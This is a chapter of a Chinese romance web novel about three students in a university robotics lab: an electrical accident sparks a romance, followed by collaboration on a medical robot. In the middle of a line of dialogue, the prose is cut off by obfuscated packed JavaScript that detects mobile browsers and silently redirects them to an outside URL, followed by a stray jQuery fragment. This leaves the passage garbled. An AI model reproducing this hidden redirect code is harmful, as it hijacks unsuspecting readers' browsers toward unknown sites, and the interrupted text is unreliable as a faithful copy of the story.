周五晚上。
实验室里,清脆的键盘敲击声和仪器运转的低鸣声交织在一起,像一首夜晚的工间曲。
“今天任务量不大。”
陆墨川修长的手指在桌面上轻叩两下,目光扫过众人:“做完自己手头的任务,大家可以走了——周末愉快!”
话音刚落,键盘声瞬间密集起来。
有人开始收拾背包,压低声音交谈着周末计划。有人掏出手机,屏幕上的光映着嘴角的浅笑。
挂钟指针悄然滑向八点三十分。
窗外夜色渐深,人声渐散。
白炽灯在偌大的实验室里洒下一片冷白的光。
陆墨川端坐在主控台前。
蓝盈盈的代码不断滚动刷新,电脑屏幕的冷光勾勒着他利落的下颌,修长的手指在键盘上翻飞,敲下一行行指令。
角落里,林冉被医疗终端屏幕泛起的微光笼罩着。
她轻咬着下唇,脸颊上挂着两个清浅的梨涡,“青团”急救模块,正在她的指尖下,一点点被赋予了温度。
而另一边的汪洋,早已把转椅当成了游乐园的旋转木马,百无聊赖地转着圈。
手机屏幕的光在他脸上明明灭灭,映出一副“生无可恋”的表情。
他第N次瞥向两位工作狂,心里长长叹了口气。
得——心心念念的海鲜自助,又得泡汤了。
窗外一只飞蛾扑向玻璃,发出“啪”一声轻响,却没能惊扰沉浸在工作中的两人。
“川爷,你还要多久?”汪洋第N次抬头看向墙上的挂钟,声音拖得老长:“再晚自助餐厅的三文鱼真要一片都不剩了。”
陆墨川的视线紧盯着屏幕,手指在键盘上翻飞:“三十分钟。”
林冉闻言抬眼,目光悄然掠过陆墨川冷峻的侧脸,又迅速收回。
她轻咬着下唇,将注意力重新集中在屏幕前的生命体征数据上。
实验室里只剩下噼里啪啦的键盘敲击声,和窗外一阵紧过一阵的风声。
突然间,电路板爆开一簇刺眼的火花,青烟瞬间腾起。
“噼啪……噼啪……”
林冉瞳孔骤然一紧,下意识扑上去按电源。
“小心!”
下一秒,她只觉得腰身一紧,整个人被一股沉稳的力道猛地拽了回来。
陆墨川的手臂紧紧箍在她的腰间,将她整个人用力往后一带,她的后背撞上他紧实的胸膛。
“别碰!会触电!”陆墨川低呼一声。
可还是迟了。
“滋啦——”
电流顺着金属台面窜过,两人同时一颤。
林冉只觉得一阵酥麻从指尖直冲天灵盖,额前的刘海儿“唰!”地立了起来,脑后的丸子头也滑稽地炸开了花。
她惊魂未定地转头,正对上陆墨川近在咫尺的脸——他的黑发被电得微微蓬起,冷峻的眉眼间闪过一丝狼狈。
两人呼吸可闻,时间仿佛被按下了暂停键。
烧焦的电路板味儿混着他身上清冽的薄荷香,侵入她的呼吸。隔着薄薄的衣料,他胸膛的温热和心跳的搏动清晰可辨。
“抱歉,我太着急了。”林冉垂下眼。
“这种行为太危险了,下次小心。”陆墨川温声说了句。
“林冉。”
她下意识抬头,嘴唇无意间擦过他近在咫尺的下颌。
两人同时一僵。
林冉感受到他下颌线瞬间紧绷。
她感觉自己的嘴角,像被细微的电流燎过,留下一种酥麻的、挥之不去的灼热。
她的呼吸滞在胸口,心跳在胸腔里疯狂鼓动着。
“……别怕…没事了。”陆墨川缓缓开口,声音比平日里低哑了几分。
这时,刺眼的红光伴随着尖锐的警报鸣响,头顶的应急灯急速旋转起来。
可林冉的耳膜里,却鼓动着彼此交缠的、滚烫的呼吸。
林冉张了张嘴,喉咙却像被什么堵着,发不出声音。
她慌乱地点了点头,一缕还带着静电的头发调皮地轻轻一甩,不偏不倚扫过他的侧脸。
淡雅的茉莉香、一丝难以察觉的、微痒的触感。
陆墨川的喉结几不可查的滚了一下,圈在她腰间的手臂下意识收紧。
这细微的动作,让林冉的呼吸又是一滞。
“我的三文鱼——”汪洋的哀嚎着抱怨道。
“等会儿。”
随即他的声音嘎然而止。
他眨眨眼,目光在两人之间扫了个来回。
汪洋语调突然拔高,混着毫不掩饰的戏谑,“等等,你俩……这是什么最新研发的情侣爆炸造型?”
他的视线扫过陆墨川微微蓬起的黑发,又落到林冉炸着毛的丸子头上,终于憋不住,“噗嗤”笑出了声。
陆墨川这才缓过神来,慌忙收回手臂。
他掏出手机,背过身拨通电话,声音恢复了平日的疏离:“喂,维修中心吗?京大实验楼603,电路出现故障,请尽快派人处理。”
汪洋绕过实验台,凑近看了看烧黑的电路板,又抬眼看了眼面色微红的林冉,以及耳根还残留着薄红的陆墨川,嘴角的笑意更深了。
他双手插兜,一副看热闹不嫌事大的模样:“行啊!川爷!搞科研——顺便还把恋爱的小火苗也炸出来了?”
陆墨川眼皮都没抬,冷飕飕地撂下一句:“再多说一句,下次爆炸的就是你的显卡。”
“别别别!”汪洋立刻举手投降,他笑嘻嘻地转向林冉:“林妹妹,看见没?这就是咱们实验室的‘高压’日常。”
汪洋冲她挤挤眼,特意加重了“高压”两个字,“不过今天这电压,是不是有点超标了?”
“汪洋,”陆墨川斜睨了他一眼:“去楼下接一下维修的人。”
“得令!”汪洋拖长声音应道,临走前又回头冲陆墨川眨了眨眼,这才哼着不成调的曲子晃出了门。
实验室忽然安静下来。
只剩下窗外隐约的风声,和两人之间微妙的呼吸。
林冉把头发重新扎好。
她清了清嗓子,小声问:“那个……电路板是不是烧得很严重?”
“嗯。”陆墨川走到实验台前,用绝缘镊子拨了拨焦黑的元件,“主控芯片烧了。”
停顿片刻,他忽然问:“吓着了吗?”
林冉一怔,下意识点了点头,又快速摇了摇头:“还好……”
“下次有事先叫我,”他的视线在她的脸上停了一瞬:“记住了吗?”
林冉看着他,轻轻地点了点头。
“嗯……我记住了。”
楼道里传来一阵清晰的脚步声和工具箱碰撞的轻响,维修人员到了。
等到电力人员排查故障、完成检修,窗外夜色已深,时针已经指向十点。
“得,这回三文鱼是彻底泡汤了。”汪洋挎着包,语气悻悻。
陆墨川拎起外套,斜睨他一眼:“看来是任务量不够啊!一心想着吃。下周开始,给你多安排点工作?”
“别别别,哥我错了!”汪洋立马讨饶:“我深刻反省,坚决改正。”
三人一起走出实验楼。
凛冽的寒风裹着凉意,昏黄路灯将他们的影子拉得细长,交错在空寂的校园小路上。
“我先回去了。”
林冉在路口停下,朝两人轻轻摆了摆手:“宿舍十点半门禁。”
“等一下,”陆墨川的声音从身侧传来:“太晚了,我送你。”
几分钟后,黑色大G在宿舍楼下停稳。
林冉解开安全带,转头朝俩人笑笑:“晚安,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276195|198254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明天见。”
“嗯。”陆墨川极轻地扯了一下嘴角。
汪洋笑着朝林冉拜了拜手。
她推门下车,身影很快融进宿舍楼暖黄的光晕里。
汪洋的指尖在窗沿儿轻敲了两下:“林冉这姑娘,模样出挑不说,做事细致又认真。我听说……实验室有两个小子,最近往她跟前晃得有点儿勤。”
陆墨川没应声,左手仍慵懒地搭在方向盘上,视线从那抹暖黄里缓缓收回。
下一秒,脚下油门猛地一踩。
引擎低吼一声,车身如离弦的箭骤然窜了出去。
轮胎碾过地面,发出短促而刺耳的摩擦声。
“我靠!”汪洋惊呼一声,整个人往后一仰。
“川哥,你这是要带兄弟上天啊!”
陆墨川下颌紧绷,声音比夜风更凉:“是最近实验数据太少了,还是我看起来脾气太好了?”
汪洋堪堪稳住身形,愣了一秒。
随即拖长调子,慢悠悠开口:“哟——这话听着,怎么透着一股儿陈年老醋的味道。”
陆墨川握着方向盘的手微微收紧,面上依旧平静无波。
“让他们把心思用在正地方。”他语气冷淡,却字字清晰:“下次,谁的实验进度再拖后腿,我不介意亲自帮他‘精简’一下研究方向。”
汪洋挑了挑眉。
这话的份量,他听得懂。
陆墨川在专业领域上的严苛和不近人情,是全系出了名的。
他识趣地耸了耸肩,乖乖收了音。
日子在程序代码和实验室的光影中悄然滑过。
在接下来的合作中,连陆墨川自己都没想到,林冉能在他的理性迷宫里,一次次照亮他的思维盲区。
她提出的方案往往出人意料却又恰到好处,当他专注于机械结构的精密度时,她会补充人性化的交错细节;当他执着于技术参数的完美时,她会从医疗应用的角度给出合理的建议。
那些被陆墨川忽略的细节,经林冉轻轻一点,竟成了画龙点睛之笔。
这天,陆墨川盯着电脑屏幕上的机器人四维模型,眉头紧蹙。
他们已经连续三天在这个关节传动装置上卡壳,团队里的同学尝试了各种齿轮组合方案,可要么噪音过大,要么转动效率不达标。
“或许我们可以换个思路?”林冉的声音传来。
她抱着一本厚厚的《人体解剖学图册》站在陆墨川身后。
陆墨川揉了揉眉心,示意她接着说。
林冉翻开图谱,指着膝关节的剖面图:“你们看人类膝关节的半月板结构,它能在运动时缓冲压力,同时保持灵活转动。我们能不能模仿这种生物力学原理,用柔性材料代替部分金属齿轮?”
她拿起白板笔,快速画出草图,“这样不仅能减少噪音,还能增加关节的缓冲力。”
陆墨川的眼眸骤然一紧,他接过笔在草图上标注参数:“这个想法太棒了!我们可以用3D打印技术制作复合材料的传动部件。”
团队其他成员也围了过来,大家兴奋地讨论着实施方案。
接下来的几天,林冉还在机器人抓取装置的设计上提出了新方案。
她参考临床手术中的精密器械,建议在机械手上增加压力传感器和微调旋钮,让机器人能像外科医生一样进行精准操作。
经过一周的校验与上千次精密测试,他们的“青团”机器人终于实现了近乎完美的抓取性能——机械臂运行流畅,定位精度达到0.1毫米级,运行时发出的声响几乎可以忽略不计。
当最后一组测试数据在屏幕上落下,陆墨川摘下护目镜。
他转身看向正在整理医疗数据的林冉,嘴角扬起一个明朗的弧度:“看来我们机械工程专业的学生,以后得常去医学院''挂号问诊''了。”